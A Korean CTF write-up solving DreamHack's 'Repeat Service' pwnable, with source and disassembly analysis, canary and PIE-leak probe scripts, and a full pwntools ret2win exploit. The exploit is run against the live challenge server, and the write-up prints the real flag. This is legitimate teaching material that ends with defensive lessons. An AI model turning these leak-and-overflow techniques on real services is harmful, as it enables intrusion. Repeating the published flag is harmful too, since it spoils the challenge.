[🥉 Bronze 1] puts 한 줄로 PIE·카나리를 다 흘리기 — DreamHack Repeat Service 풀이

2026-10-20·1분 읽기·

[🥉 Bronze 1] puts 한 줄로 PIE·카나리를 다 흘리기 — DreamHack Repeat Service 풀이

문자열을 반복 출력해 주는 서비스에 memcpy 반복 루프가 숨어 있다. 복사 길이와 목표 길이를 고르면 마지막 memcpy 청크가 buf 경계를 넘어 카나리·saved rbp·복귀 주소까지 닿는다. PIE·카나리·NX·Full RELRO 가 전부 켜져 있지만, 끝에서 buf 를 그대로 puts 하기 때문에 "채운 경계 바로 뒤"에 있는 값이 새어 나온다. 카나리는 buf+1001 경계에서, PIE 베이스는 socat 런타임에서 main 포인터가 흘러 들어오는 buf+1032 경계에서 각각 누출했다. 복귀 주소를 win() 으로 덮고, EOF 대신 "Too long" 분기로 루프를 빠져나와 셸의 stdin 을 살린 채 system("/bin/sh") 를 띄워 플래그를 회수했다.

문제: DreamHack — Repeat Service 분류: Pwnable 난이도: 🥉 Bronze 1 FLAG: DH{fbe2067c4a1ee6e099397b333cfaa36dd958e493cd530ba0a53ae15d349b547e}

문제 설명은 짧다 — "문자열을 입력하면 반복해서 출력해 주는 편리한 서비스"이고, "문자열을 계속 출력하다 보면 플래그를 얻을 수 있을지도?"라는 묘한 힌트가 붙어 있다. 이름값대로 memcpy 로 입력을 반복 복사해 출력하는데, 그 반복이 바로 버퍼 경계를 넘긴다.

Bronze 1 치고는 방어가 빽빽하다 — PIE·스택 카나리·NX·Full RELRO 가 전부 켜져 있다. 셸을 띄울 win() 은 있지만 PIE 라 주소를 모르고, 복귀 주소를 덮으려면 카나리를 지나야 한다. 그런데 끝에서 결과를 puts 로 뱉기 때문에, 이 한 줄이 카나리와 PIE 베이스를 모두 흘려 준다. 그 두 누출을 어떻게 "반복 memcpy 의 채움 경계"에 맞춰 짜내는지가 이 문제의 전부다.

먼저 보호기법부터 확인한다.

file extracted/deploy/main; python3 chk.py
# chk.py — pwntools 로 보호기법을 뽑는다
from pwn import ELF
e = ELF('./extracted/deploy/main')
file 과 pwntools ELF 출력 — main 은 amd64 동적 링크 PIE 실행 파일이고 Full RELRO, 카나리 있음, NX 켜짐, PIE 켜짐, not stripped 로 확인된다
file 과 pwntools ELF 출력 — main 은 amd64 동적 링크 PIE 실행 파일이고 Full RELRO, 카나리 있음, NX 켜짐, PIE 켜짐, not stripped 로 확인된다

문제 개요

항목값의미
제공 파일main(ELF), flag, Dockerfilesocat 이 main 을 5000 포트에 그대로 물림 → 원격 = 로컬 docker
분류 / 난이도Pwnable / 🥉 Bronze 1
PIE켜짐코드(win)·main 주소가 매 실행 랜덤 → 코드 베이스 누출 필수
Canary있음buf 와 복귀 주소 사이를 지나야 하니 카나리 값 누출 필수
NX켜짐스택 셸코드 불가 → 기존 win() 재활용(ret2win)
RELROFullGOT 덮기 불가
핵심 취약점반복 memcpy 의 마지막 청크가 buf[1000] 경계를 넘김카나리·saved rbp·복귀 주소까지 덮을 수 있음

풀이 흐름은 이렇다. ① puts(buf) 가 "채운 경계 바로 뒤"를 흘리는 성질로 카나리를 누출하고, ② 같은 성질을 다른 경계에 맞춰 PIE 베이스(socat 런타임에서 main 포인터가 스택에 스필됨)를 누출한 뒤, ③ 오버플로로 카나리를 복원하고 복귀 주소를 win() 으로 덮고, ④ "Too long" 분기로 루프를 빠져나와 셸을 띄운다. docker(원격 동일 환경)에서 셸을 확인한 뒤 라이브 서버에 그대로 적용했다.

🧩 배경 — 반복 memcpy 루프

제공된 소스 main.c 는 짧다. 핵심은 main 의 while(1) 루프다.

cat extracted/main.c
main.c 전체 — initialize/win(system("/bin/sh"))/main 으로 구성되고, main 안에서 inp[80]·buf[1000] 을 두고 read·scanf 로 패턴과 길이를 받아 memcpy 로 반복 복사한 뒤 printf("%s", buf) 로 출력하는 while 루프가 보인다
main.c 전체 — initialize/win(system("/bin/sh"))/main 으로 구성되고, main 안에서 inp[80]·buf[1000] 을 두고 read·scanf 로 패턴과 길이를 받아 memcpy 로 반복 복사한 뒤 printf("%s", buf) 로 출력하는 while 루프가 보인다

패턴 문자열 inp(최대 80바이트)와 목표 길이 target_len(최대 1000)을 받아, buf(1000바이트)에 inp 를 target_len 이 찰 때까지 반복 복사한다.

char inp[80] = {0};
char buf[1000] = {0};
// ...
int len = read(STDIN_FILENO, inp, 80);      // len <= 80
if (len == 0) break;
if (inp[len - 1] == '\n') { inp[len - 1] = 0; len--; }
 
int target_len = 0;
scanf("%d", &target_len);
if (target_len > 1000) { puts("Too long :("); break; }   // (1)
 
int count = 0;
while (count < target_len) {
    memcpy(buf + count, inp, len);          // (2) 마지막 청크가 경계를 넘긴다
    count += len;
}
printf("%s\n", buf);                         // (3) 컴파일되면 puts(buf)

세 곳이 이 문제의 전부다.

  • (2) 오버플로: count 는 0, len, 2·len, … 로 증가하다 target_len 이상이 되면 멈춘다. 즉 마지막 memcpy 는 count < target_len ≤ 1000 인 지점에서 시작해 len 바이트를 더 쓴다. len 을 크게 잡으면 그 마지막 청크가 buf[1000] 을 넘어 카나리·saved rbp·복귀 주소까지 닿는다. 채움이 끝나는 바이트 오프셋은 항상 N = m·len(len 의 배수) 형태가 된다.
  • (3) 누출 창구: printf("%s\n", buf) 는 컴파일되면 puts(buf) 다. puts 는 첫 널 바이트에서 멈춘다. buf 를 널 없이 N 까지 채우면, buf[N] 부터 스택의 실제 값이 널을 만날 때까지 그대로 출력된다 — 이게 누출이다.
  • (1) 탈출구: target_len > 1000 이면 "Too long :(" 후 break 한다. 뒤에서 보듯 EOF 없이 복귀를 트리거하는 열쇠다.

🔬 코드 정찰 — 스택 레이아웃

objdump 로 마지막 memcpy 루프와 카나리 검사를 본다.

objdump -d -M intel extracted/deploy/main | sed -n "/1436:/,/1498:/p"
objdump 디스어셈블 — memcpy 루프(lea rcx,[rbp-0x3f0]; add rcx,rax; lea rax,[rbp-0x440]; call memcpy)와 끝의 puts(buf), 그리고 카나리 검사(sub rdx, fs:0x28; __stack_chk_fail)가 보인다
objdump 디스어셈블 — memcpy 루프(lea rcx,[rbp-0x3f0]; add rcx,rax; lea rax,[rbp-0x440]; call memcpy)와 끝의 puts(buf), 그리고 카나리 검사(sub rdx, fs:0x28; __stack_chk_fail)가 보인다

여기서 오프셋을 읽어낸다. inp 는 [rbp-0x440], buf 는 [rbp-0x3f0](memcpy 목적지 베이스), 카나리는 [rbp-0x8] 이다. buf 가 1000바이트(0x3e8)이므로 끝은 정확히 rbp-0x3f0+0x3e8 = rbp-0x8, 즉 카나리가 buf 바로 뒤에 붙어 있다. 런타임에서 실제 값으로 확인해 보면:

gdb -q -batch -x stack.gdb --args extracted/deploy/main < feed.in 2>&1 | grep -E "buf |buf\+|ret is"
gdb -batch 로 puts 시점의 스택 덤프 — buf=rbp-0x3f0, buf+1000=카나리(LSB 0x00), buf+1008=saved rbp(상위 2바이트 0x00), buf+1016=복귀 주소(libc 0x7ffff7c2a575). 복귀 주소 오프셋은 buf+0x3f8=8*127
gdb -batch 로 puts 시점의 스택 덤프 — buf=rbp-0x3f0, buf+1000=카나리(LSB 0x00), buf+1008=saved rbp(상위 2바이트 0x00), buf+1016=복귀 주소(libc 0x7ffff7c2a575). 복귀 주소 오프셋은 buf+0x3f8=8*127

정리하면 buf 기준 오프셋은 이렇다.

오프셋내용특징
buf+1000 (rbp-0x8)스택 카나리최하위 바이트가 항상 0x00
buf+1008 (rbp+0x00)saved rbp스택 주소 → 상위 2바이트가 항상 0x00
buf+1016 (rbp+0x08)복귀 주소__libc_start_call_main(libc)

💣 핵심 취약점 — "채움 경계 바로 뒤"만 샐 수 있다

puts(buf) 는 첫 널에서 멈추므로, 누출되는 건 우리가 널 없이 채운 경계 N 바로 뒤의 값이다. 그런데 N = m·len(len 의 배수)이고, 복구해야 할 두 값의 위치는 공교롭게도 이렇게 막혀 있다.

  • 카나리(buf+1000): 최하위 바이트가 0x00 이라, buf[1000] 까지만 비우고 한 바이트를 비-널로 덮으면(N = 1001) 그 뒤 buf[1001..1007] = 카나리의 상위 7바이트가 샌다 (최하위 바이트는 0x00 으로 이미 알고 있다). N = 1001 = 13·77 이니 len = 77 로 정확히 맞출 수 있다.
  • 복귀 주소(buf+1016): 여기까지 puts 가 닿으려면 사이의 카나리(1000)·saved rbp 상위 널(1014, 1015)을 전부 비-널로 덮어야 하는데, 1000..1015 를 덮으면서 1016 을 안 건드리려면 채움 경계가 정확히 N = 1016 이어야 한다. 그런데 1016 = 8·127 이라 80 이하의 어떤 len 으로도 나눠떨어지지 않는다(len = 8 은 최대 N = 1000 까지밖에 못 간다). 즉 복귀 주소(libc)는 puts 로 못 샌다.

마찬가지로 스택에 스필된 main 포인터가 로컬(비-socat) 환경에서 놓이던 buf+1048 = 8·131 도 80 이하로 나눠떨어지지 않는다. 각 오프셋을 "채움 경계로 정확히 멈출 수 있는 len" 기준으로 뽑아 보면 한눈에 보인다.

python3 reach.py
# reach.py — 각 타깃 오프셋에 puts 채움 경계 N 을 정확히 맞출 수 있는 len (80 이하)
def valid_lens(off):
    return [l for l in range(2, 81) if off % l == 0 and off - l <= 999]
rows = [
    ('canary   leak via buf+1001', 1001, '13*77'),
    ('saved RIP (libc)  buf+1016', 1016, '8*127'),
    ('main ptr (socat)  buf+1032', 1032, '24*43'),
    ('main ptr (local)  buf+1048', 1048, '8*131'),
]
for name, off, fac in rows:
    ls = valid_lens(off)
    tag = ('len=' + ','.join(map(str, ls))) if ls else '(none) -> puts cannot stop here'
    print(f'{name}  = {fac:>7}   {tag}')
reach.py 출력 — 카나리(buf+1001)는 len 7/11/13/77 로, socat main 포인터(buf+1032, 2443)는 len 43 으로 경계를 맞출 수 있지만, 복귀 주소(buf+1016, 8127)와 로컬 main 포인터(buf+1048, 8*131)는 80 이하 어떤 len 으로도 못 멈춘다
reach.py 출력 — 카나리(buf+1001)는 len 7/11/13/77 로, socat main 포인터(buf+1032, 2443)는 len 43 으로 경계를 맞출 수 있지만, 복귀 주소(buf+1016, 8127)와 로컬 main 포인터(buf+1048, 8*131)는 80 이하 어떤 len 으로도 못 멈춘다

카나리는 len = 77 로 바로 뽑힌다. 실제로 6번 연결해 보면 매번 최하위 바이트 0x00 에 상위 7바이트가 랜덤인 정상 카나리가 나온다.

python3 canary_probe.py
canary_probe.py 출력 — 6회 연결 모두 카나리 최하위 바이트가 0x00 이고 상위 7바이트가 매번 다른(연결마다 재랜덤) 값으로 누출된다
canary_probe.py 출력 — 6회 연결 모두 카나리 최하위 바이트가 0x00 이고 상위 7바이트가 매번 다른(연결마다 재랜덤) 값으로 누출된다

문제는 PIE 다. 복귀 주소(libc)도, 로컬에서 보이던 main 포인터도 puts 로 못 흘린다. 여기서 한참 막혔다 — "코드 베이스를 못 흘리면 PIE 를 어떻게 뚫지?" 였다.

▶🐛 삽질 — 복귀 주소(libc) 누출을 억지로 뚫으려던 시도들

puts 로 복귀 주소(libc)만 흘리면 system 으로 바로 갈 수 있으니, 사이의 널을 어떻게든 비-널로 만들려고 여러 방법을 시도했다. 전부 같은 벽에 막혔다.

  • saved rbp 의 널(1014, 1015)을 먼저 비-널로 덮고 나중 라운드에서 읽기: buf 는 한 번만 0으로 초기화되니 라운드 사이에 값이 유지된다. 그런데 오버플로 청크는 len 바이트가 연속이라, 1015 를 덮는 순간 1016(복귀 주소)까지 같이 덮인다. 복귀 주소의 원래 값을 모르니 복원도 불가 → 읽어 봤자 내가 쓴 패턴만 나온다.
  • 채움 경계를 N = 1016 에 맞추기: 1016 = 8·127, 80 이하 약수 없음. 불가능.
  • main 포인터(비-socat 로컬에선 buf+1048) 누출: 1048 = 8·131, 역시 80 이하 약수 없음.

로컬 glibc 2.42 의 process 환경에서 도달 가능한 모든 N 을 전수 조사해도 코드 포인터는 한 건도 안 나왔다. "이 바이너리는 puts 로 코드를 못 흘린다"가 로컬 기준 결론이었다.

🔑 돌파구 1 — PIE 는 "런타임이 다르면" 샌다

막힌 지점에서 가정을 하나 의심했다. 스택에 어떤 포인터가 어느 오프셋에 놓이는지는 프로그램을 띄운 환경(argv·envp·레지스터 상태)에 따라 달라진다. 로컬에서 process 로 띄운 것과, 실제 문제처럼 socat EXEC:./main 로 띄운 것은 main 호출 직전 레지스터 구성이 다르다.

그래서 원격과 완전히 같은 환경(제공된 Dockerfile 그대로, ubuntu 22.04 · glibc 2.35 · socat)에서 다시 쟀다. 그랬더니 socat 런타임에서는 __libc_start_call_main 이 스필한 레지스터 중 하나가 rbp+0x18 = buf+1032 에 main 함수 포인터(= PIE 베이스 + 0x128a) 로 올라와 있었다. 그리고 1032 = 24·43 이라 len = 43 으로 채움 경계를 정확히 맞출 수 있다.

# leak_probe.py — socat 런타임에서 main 포인터(PIE+0x128a)가 buf+1032 에 스필됨을 확인
from pwn import *
context.log_level = 'error'
def leak():
    r = remote('127.0.0.1', 5000)
    r.recvuntil(b'Pattern: ')
    r.send(bytes([0x41 + (i % 26) for i in range(43)]))   # len=43 -> fill up to buf+1032
    r.recvuntil(b'Target length: '); r.sendline(b'990')
    blob = r.recvuntil(b'Pattern: '); r.close()
    body = blob[:-len(b'Pattern: ')][:-1]                 # buf content up to first NUL
    return u64(body[1032:1038].ljust(8, b'\x00'))
for _ in range(6):
    v = leak(); base = v - 0x128a
    print(f'leak@buf+1032 = {hex(v)}   PIE base = {hex(base)}   page-aligned={(base & 0xfff)==0}')
python3 leak_probe.py
leak_probe.py 실행 — 6회 모두 buf+1032 에서 끝자리가 0x_28a 인 값이 새고, 거기서 0x128a 를 빼면 매번 페이지 정렬된(하위 12비트 0) PIE 베이스가 나온다. 즉 main 포인터가 안정적으로 그 자리에 스필된다
leak_probe.py 실행 — 6회 모두 buf+1032 에서 끝자리가 0x_28a 인 값이 새고, 거기서 0x128a 를 빼면 매번 페이지 정렬된(하위 12비트 0) PIE 베이스가 나온다. 즉 main 포인터가 안정적으로 그 자리에 스필된다

6회 모두 하위 12비트가 0인 PIE 베이스가 나온다 — ASLR 로 상위만 바뀔 뿐 main 포인터가 매 연결 안정적으로 그 자리에 있다. len = 43, target = 990 이면 마지막 청크가 [989, 1032) 를 덮어 buf[1032] 직전까지 비-널로 채우므로, puts 가 buf[1032] 부터 6바이트를 흘린다. PIE_base = (흘린 값) - 0x128a, win = PIE_base + 0x1270 이다.

🔑 돌파구 2 — "Too long" 으로 루프를 빠져나와 셸을 살린다

복귀 주소를 win()(= system("/bin/sh"))으로 덮는 것까지는 ret2win 그대로다. 문제는 이 루프가 복귀하는 유일한 길이 read()==0(EOF) 라는 점이다. 그런데 EOF 를 보내면 system("/bin/sh") 가 띄운 셸의 stdin 도 같은 소켓이라 즉시 EOF → 셸이 명령을 받기도 전에 종료된다.

▶🐛 삽질 — EOF 로 복귀시켰더니 /bin/sh 가 바로 죽었다

처음엔 오버플로 후 shutdown('send') 로 EOF 를 보내 read()==0 → break → win 을 트리거했다. PIE·카나리 누출은 완벽했고 uid=1000(pwn) 까지 떴지만, /bin/sh 가 stdin EOF 를 만나 명령을 하나도 못 읽고 끝나 플래그를 못 받았다.

그러면 system("cat flag") 처럼 비대화형으로 돌리면 되는데, 그러려면 rdi 를 명령 문자열 주소로 세팅할 pop rdi 가젯이 필요하다. 하지만 이 작은 바이너리에는 pop rdi 가젯이 없다.

ROPgadget --binary extracted/deploy/main | grep -iE "pop rdi|pop rsi|: ret$|leave ; ret|pop rbp ; ret"
ROPgadget 출력 — pop rdi/pop rsi 는 한 개도 없고, 쓸 수 있는 건 ret(0x101a)·leave;ret(0x14b7)·pop rbp;ret(0x1213) 뿐이다. rdi 를 임의 값으로 세팅할 수단이 없다
ROPgadget 출력 — pop rdi/pop rsi 는 한 개도 없고, 쓸 수 있는 건 ret(0x101a)·leave;ret(0x14b7)·pop rbp;ret(0x1213) 뿐이다. rdi 를 임의 값으로 세팅할 수단이 없다

ret·leave;ret·pop rbp;ret 뿐이라 rdi 를 임의로 못 세운다. libc 베이스도 없어 libc 가젯도 못 쓴다.

열쇠는 (1) 의 "Too long" 분기다. target_len > 1000 을 보내면 memcpy 루프를 아예 건너뛰고 break 로 while(1) 을 빠져나가 return → 카나리 검사 → leave; ret 로 EOF 없이 복귀한다. 즉 오버플로를 심어 둔 다음, 다음 라운드에서 패턴은 아무거나 주고 target_len = 1001 만 보내면, 소켓을 닫지 않은 채 복귀가 일어나 /bin/sh 가 살아 있는 stdin 으로 명령을 받는다.

정렬도 하나 챙긴다. win 진입 시 rsp 가 16정렬이면 system 내부 movaps 에서 터질 수 있어, 복귀 주소 자리에 PIE 의 ret 가젯(PIE+0x101a)을 하나 끼워 8바이트 밀어 정렬을 맞췄다.

🎯 익스플로잇 — 조립

len = 80, target = 1000 이면 마지막 청크가 [960, 1040) 을 덮고, buf[1000] = inp[40] 이 된다. 그래서 inp 를 이렇게 배치한다.

inp 오프셋덮는 위치값
inp[40:48]buf+1000 카나리누출한 카나리(복원)
inp[48:56]buf+1008 saved rbp미사용(0)
inp[56:64]buf+1016 복귀 주소ret 가젯 (PIE+0x101a, 정렬용)
inp[64:72]buf+1024win (PIE+0x1270)

복귀가 일어나면 ret → ret_gadget → win → system("/bin/sh") 순으로 흐르고, 이때 셸 stdin 은 살아 있으므로 cat flag 로 바로 회수한다. 먼저 docker(원격 동일 환경)에서 검증했다.

python3 solve.py 127.0.0.1 5000
로컬 docker 에 solve.py 실행 — 카나리·PIE 베이스 누출 로그에 이어 Too long 후 PWNED, uid=1000(pwn), 그리고 docker 로컬 더미 플래그가 출력된다. 셸이 살아서 명령을 받은 증거
로컬 docker 에 solve.py 실행 — 카나리·PIE 베이스 누출 로그에 이어 Too long 후 PWNED, uid=1000(pwn), 그리고 docker 로컬 더미 플래그가 출력된다. 셸이 살아서 명령을 받은 증거

카나리·PIE 누출 → ret2win → "Too long" 복귀 → 셸까지 로컬에서 완전히 돌았다 (docker 의 로컬 flag 는 더미라 DH{fake_flag}). 이제 라이브 서버에 주소만 바꿔 그대로 적용한다.

🚀 Full Exploit

#!/usr/bin/env python3
# Repeat Service (DreamHack, Bronze 1, pwnable) — full remote exploit
#
# bug: the memcpy repeat loop
#        while (count < target_len) { memcpy(buf + count, inp, len); count += len; }
#      with target_len<=1000 and len<=80 lets the final chunk run past buf[1000],
#      reaching up to buf+1065 — enough to overwrite canary, saved rbp, saved RIP (buf+1016).
#
# mitigations: PIE + stack canary + NX + Full RELRO.  win() = system("/bin/sh") @ PIE+0x1270.
#
# puts(buf) prints up to the first NUL, leaking whatever sits right past the filled region:
#   * canary : len=77 -> fill boundary N=1001 -> puts spills canary[1..7] (byte0 is the NUL)
#   * PIE    : under the socat runtime main (PIE+0x128a) is spilled at buf+1032 (= rbp+0x18);
#              1032 = 24*43 is a reachable fill boundary (len=43) -> leak it
#
# return path: the loop leaves on EOF OR on the "Too long :(" break (target_len>1000).
#              we use the latter so /bin/sh keeps a live stdin (EOF would close it).
from pwn import *
import sys
context.binary = './extracted/deploy/main'
context.log_level = 'info'
 
HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5000
 
r = remote(HOST, PORT)
r.recvuntil(b'Pattern: ')
 
def rnd(pat, target):
    """one loop iteration; returns the printed buf content (NUL-terminated string)."""
    r.send(pat)
    r.recvuntil(b'Target length: ')
    r.sendline(str(target).encode())
    blob = r.recvuntil(b'Pattern: ')
    assert blob.endswith(b'Pattern: ')
    body = blob[:-len(b'Pattern: ')]
    assert body.endswith(b'\n')
    return body[:-1]                       # buf content up to (not incl) the first NUL
 
# round 1: leak canary (len=77 -> N=1001 -> canary[1..7] follow the fill)
b1 = rnd(bytes([0x41 + (i % 26) for i in range(77)]), 1000)
canary = u64(b'\x00' + b1[1001:1008])
log.info('canary   = %#018x', canary)
 
# round 2: leak PIE base (len=43 -> N=1032 -> main pointer at rbp+0x18)
b2 = rnd(bytes([0x41 + (i % 26) for i in range(43)]), 990)
pie = u64(b2[1032:1038].ljust(8, b'\x00')) - 0x128a
log.info('pie base = %#018x', pie)
assert pie & 0xfff == 0 and pie >> 44, 'PIE leak looks wrong'
win = pie + 0x1270
ret = pie + 0x101a                          # alignment ret gadget
 
# round 3: overflow (len=80 -> last chunk [960,1040); buf[1000]=inp[40])
pay = bytearray(b'B' * 80)
pay[40:48] = p64(canary)                    # buf+1000 canary
pay[48:56] = p64(0)                         # buf+1008 saved rbp (unused)
pay[56:64] = p64(ret)                       # buf+1016 -> ret gadget
pay[64:72] = p64(win)                       # buf+1024 -> win -> system("/bin/sh")
assert pay[79] != 0x0a
rnd(bytes(pay), 1000)
 
# round 4: target_len>1000 -> "Too long :(" -> break -> return -> win, stdin stays open
r.send(b'A')
r.recvuntil(b'Target length: ')
r.sendline(b'1001')
 
r.sendline(b'echo PWNED; id; cat /flag 2>/dev/null; cat flag 2>/dev/null')
if args.I:
    r.interactive()
else:
    r.sendline(b'echo DONE_MARKER_777')
    try:
        data = r.recvuntil(b'DONE_MARKER_777', timeout=6)
        print('\n==== shell output ====')
        print(data.decode(errors='replace'))
    except Exception as e:
        print('shell did not respond:', e, r.clean(1))

라이브 서버 주소를 인자로 넘겨 그대로 실행한다.

python3 solve.py host3.dreamhack.games 19797
라이브 서버에 solve.py 실행 — 카나리·PIE 베이스 누출에 이어 Too long, PWNED, uid=1000(pwn), 그리고 진짜 플래그가 그대로 출력된다
라이브 서버에 solve.py 실행 — 카나리·PIE 베이스 누출에 이어 Too long, PWNED, uid=1000(pwn), 그리고 진짜 플래그가 그대로 출력된다

한 번에 uid=1000(pwn) 셸과 함께 플래그가 떨어졌다.

DH{fbe2067c4a1ee6e099397b333cfaa36dd958e493cd530ba0a53ae15d349b547e}

📝 결론

작은 복사 루프 하나가 세 겹 방어를 전부 무력화했다.

반복 memcpy 는 "길이를 조금 넘길 수 있는" 사소한 버그처럼 보이지만, 마지막 청크가 버퍼 경계를 넘으면서 카나리·복귀 주소까지 닿았고, 끝에서 그 버퍼를 puts 로 뱉는 설계가 카나리와 PIE 베이스를 모두 누출하는 통로가 됐다. 정리하면 이렇다.

  • 복사 길이 검증은 "마지막 청크"까지 봐야 한다. count < target_len 만 보고 len 바이트를 무조건 쓰면, 목표 길이를 지켰어도 실제 쓰기는 target_len + len - 1 까지 넘칠 수 있다. 경계 검사는 count + len <= sizeof(buf) 여야 했다.
  • "출력 전용 버퍼"도 누출 통로다. puts(buf) 는 널까지 뱉으므로, 버퍼를 널 없이 채우는 경로가 있으면 그 뒤의 스택 값이 전부 샌다. 카나리·PIE 가 있어도 이런 누출 한 줄이면 뚫린다.
  • 누출은 환경에 따라 달라진다. 같은 바이너리라도 로컬 process 와 socat 런타임의 스택 구성이 달라, 로컬에서 "안 샌다"고 결론 낸 PIE 베이스가 원격 동일 환경에서는 안정적으로 샜다. 반드시 제공된 Dockerfile 그대로의 환경에서 검증해야 하는 이유다.
  • 방어자 관점에선 ① 길이 검사를 올바르게, ② 출력 전에 버퍼를 명시적으로 널 종단, ③ 애초에 디버그용 win() 같은 system 호출을 배포본에 남기지 않는 것이 각각의 고리를 끊는다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 3] 크기 변수 자체가 과일이었다 — DreamHack Cherry 풀이
blog

[🥉 Bronze 3] 크기 변수 자체가 과일이었다 — DreamHack Cherry 풀이

read()를 두 번 부르는 아주 짧은 pwnable. 첫 read는 6바이트짜리 버퍼에 16바이트를 받아 명백히 넘치는데, 그 넘친 자리에 하필 두 번째 read가 쓸 크기(buf_size)를 결정하는 변수 자체가 놓여 있었다. 첫 오버플로우로 크기 제한 자체를 풀어버리면, 두 번째 오버플로우는 원하는 만큼 얼마든지 써도 되는 오버플로우가 된다.
#dreamhack#ctf#pwnable+3
2026-07-20#dreamhack +5
[🥉 Bronze 4] 프로그램이 직접 알려주는 win() 주소 — DreamHack baby-bof 풀이
blog

[🥉 Bronze 4] 프로그램이 직접 알려주는 win() 주소 — DreamHack baby-bof 풀이

printf가 친절하게 win()의 주소를 그대로 출력해주고, 뒤이은 "값을 몇 번 쓸지" 입력은 스택 버퍼 크기와 아무 관계 없이 그 횟수만큼 8바이트씩 이어 쓴다. 리크된 주소를 그 값으로, 쓰기 횟수를 4로 주면 리턴 주소가 win()으로 바뀐다.
#dreamhack#ctf#pwnable+4
2026-07-05#dreamhack +5
[🥉 Bronze 2] 카나리를 새서 되돌리고 덮는다 — DreamHack struct person_t 풀이
blog

[🥉 Bronze 2] 카나리를 새서 되돌리고 덮는다 — DreamHack struct person_t 풀이

구조체 첫 멤버 nationality[32] 에 128바이트를 읽어 카나리·saved rbp·반환주소까지 넘치는 전형적인 BOF. 하지만 스택 카나리가 가로막는다. name 을 56바이트 개행 없이 채워 null 종료를 막고, male_or_female 의 5바이트 read 로 카나리 최하위 널바이트를 덮은 뒤 "Hi %s" 출력으로 카나리를 유출한다. 유출한 값을 그대로 되돌려 끼워 넣고 반환주소를 get_shell 로 바꿔 셸을 얻는다.
#dreamhack#ctf#pwn+5
2026-10-15#dreamhack +4